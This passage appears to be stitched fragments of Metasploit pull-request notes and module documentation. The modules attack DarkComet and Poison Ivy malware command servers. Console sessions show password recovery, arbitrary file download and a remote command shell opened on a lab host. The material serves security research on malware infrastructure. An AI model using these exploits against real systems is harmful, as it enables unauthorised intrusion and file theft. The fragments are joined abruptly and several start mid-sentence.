As the "is_admin?" function only checks if the current session effectively has admin rights, I offer to add a check to know if the current user is in the local admin group using the "is_in_admin_group?" function. This information is better suited to check if admin rights are obtainable using the "bypassuac" module.
replaced "$1" on line 51 with "Regexp.last_match(1)
restructed the print statement on line 56 to more closely match suggestion
removed "self." from line 71
changed line 78 to loop for 2 seconds insetead of 1 second
(https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf), possibly affecting
earlier versions as well. The vulnerability can be exploited without knowledge of the secret key
by abusing a flaw in the cryptographic protocol to carry out a limited version of the exploit allowing
for key recovery after which the exploit can be used to download arbitrary files from a DarkComet C2 server.
See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.
## Console output
Below is an example of the exploit running against versions 5.3.1 and 4.2F
(DarkComet C2 server password is set to 'darkcometpass' and unknown to attacker).
### Version 5.3.1 (unknown password)
```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options
Module options (auxiliary/gather/darkcomet_filedownloader):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts
KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)
NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1
RHOST 0.0.0.0 yes The target address
RPORT 1604 yes The target port
STORE_LOOT true no Store file in loot (will simply output file to console if set to false).
TARGETFILE no Target file to download (assumes password is set)
msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC51#-890darkcometpass
KEY => #KCMDDC51#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
### Version 4.2F (unknown password)
```
msf > use auxiliary/gather/darkcomet_filedownloader
msf auxiliary(darkcomet_filedownloader) > show options
Module options (auxiliary/gather/darkcomet_filedownloader):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTETIMEOUT 1 no Timeout (in seconds) for bruteforce attempts
KEY no DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)
LHOST 0.0.0.0 yes This is our IP (as it appears to the DarkComet C2 server)
NEWVERSION true no Set to true if DarkComet version >= 5.1, set to false if version < 5.1
RHOST 0.0.0.0 yes The target address
RPORT 1604 yes The target port
STORE_LOOT true no Store file in loot (will simply output file to console if set to false).
TARGETFILE no Target file to download (assumes password is set)
msf auxiliary(darkcomet_filedownloader) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf auxiliary(darkcomet_filedownloader) > set LHOST 192.168.0.102
LHOST => 192.168.0.102
msf auxiliary(darkcomet_filedownloader) > set NEWVERSION false
NEWVERSION => false
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - Missing 1 bytes of keystream ...
[*] 192.168.0.104:1604 - Initiating brute force ...
[*] 192.168.0.104:1604 - C2 server uses password [darkcometpass]
[*] 192.168.0.104:1604 - Storing data to loot...
[*] Auxiliary module execution completed
msf auxiliary(darkcomet_filedownloader) > set KEY #KCMDDC42F#-890darkcometpass
KEY => #KCMDDC42F#-890darkcometpass
msf auxiliary(darkcomet_filedownloader) > set STORE_LOOT false
STORE_LOOT => false
msf auxiliary(darkcomet_filedownloader) > set TARGETFILE C:\\secret.txt
TARGETFILE => C:\secret.txt
msf auxiliary(darkcomet_filedownloader) > run
[*] 192.168.0.104:1604 - omgsecret
[*] Auxiliary module execution completed
```
in Poison Ivy versions 2.1.x (possibly present in older versions too) and doesn't
require knowledge of the secret key as it abuses a flaw in the cryptographic protocol.
Note that this is a different vulnerability from the one affecting versions 2.2.0 and up
(https://www.rapid7.com/db/modules/exploit/windows/misc/poisonivy_bof).
See http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware
for details.
## Console output
Below is an example of the exploit running against a 2.1.4 C2 server (PIVY C2 server password is
set to 'pivypass' and unknown to attacker).
### Version 2.1.4
```
msf > use windows/misc/poisonivy_21x_bof
msf exploit(poisonivy_21x_bof) > set RHOST 192.168.0.104
RHOST => 192.168.0.104
msf exploit(poisonivy_21x_bof) > check
[*] 192.168.0.104:3460 The target appears to be vulnerable.
msf exploit(poisonivy_21x_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_21x_bof) > exploit
[*] 192.168.0.104:3460 - Performing handshake...
[*] Started bind handler
[*] 192.168.0.104:3460 - Sending exploit...
[*] Command shell session 1 opened (192.168.0.102:56272 -> 192.168.0.104:4444) at 2016-06-03 12:34:02 -0400
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.1.4\Poison Ivy 2.1.4>
```
Rob Fuller